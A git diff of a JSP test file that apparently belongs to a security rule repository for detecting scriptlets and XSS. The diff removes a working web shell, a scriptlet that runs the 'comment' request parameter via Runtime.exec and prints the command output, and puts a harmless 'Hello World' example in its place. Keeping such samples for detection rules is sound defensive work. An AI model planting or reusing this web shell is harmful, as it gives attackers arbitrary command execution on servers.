diff --git a/java/lang/security/audit/xss/jsp/no-scriptlets.jsp b/java/lang/security/audit/xss/jsp/no-scriptlets.jsp
index 2ffd2ce738..cf864dd0d3 100644
--- a/java/lang/security/audit/xss/jsp/no-scriptlets.jsp
+++ b/java/lang/security/audit/xss/jsp/no-scriptlets.jsp
@@ -1,27 +1,22 @@
-
+
<%@ page import="java.util.*,java.io.*"%>
<% %>
-
+
+
+
+
+<%!String msg="Hello World"; %>
+
<%
- if ( request.getParameter( "comment" ) != null )
- {
- out.println( "Command: " + request.getParameter( "comment" ) + "
" );
- Process p = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
- OutputStream os = p.getOutputStream();
- InputStream in = p.getInputStream();
- DataInputStream dis = new DataInputStream( in );
- String disr = dis.readLine();
- while ( disr != null )
- {
- out.println( disr ); disr = dis.readLine();
- }
- }
- %>
-
-
+out.println("From scriptlet "+msg);
+%>
+
+
+
+
+<%="From expression "+msg %>
+
+